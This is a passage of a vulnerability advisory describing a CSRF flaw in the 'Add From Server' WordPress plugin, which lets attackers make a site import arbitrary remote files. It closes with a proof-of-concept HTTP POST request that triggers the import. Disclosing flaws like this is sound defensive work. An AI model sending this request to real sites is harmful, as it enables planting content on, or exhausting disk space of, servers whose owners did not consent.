clicking a specially crafted link or visiting a malicious website (or
advertisement). An attacker can use this issue to add illegal content to
the victims server, or add very large files to the victim's server to
exaust the amount of avalible disk space.

Details

https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_vulnerability_in_add_from_server_wordpress_plugin.html

When a (media) file is added from the server, the source is not validated. This means that not only files from the localhost can be added, but also from other sources. The affected code is not protected with an anti-Cross-Site Request Forgery token.

The function handle_imports() only removes slashes. The vulnerability exists in the file add-from-server/class.add-from-server.php (line 213). Because slashes are removed, the file that will be uploaded must exist in the server root. For example: www.example.com/largefile.txt

The host and filename will be set in a separate parameter, so no slashes are needed.


Proof of concept

POST /wp-admin/upload.php?page=add-from-server HTTP/1.1
Host: <target>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded

files%5B%5D=largefile.txt&import-date=current&cwd=www.example.com&import=Import
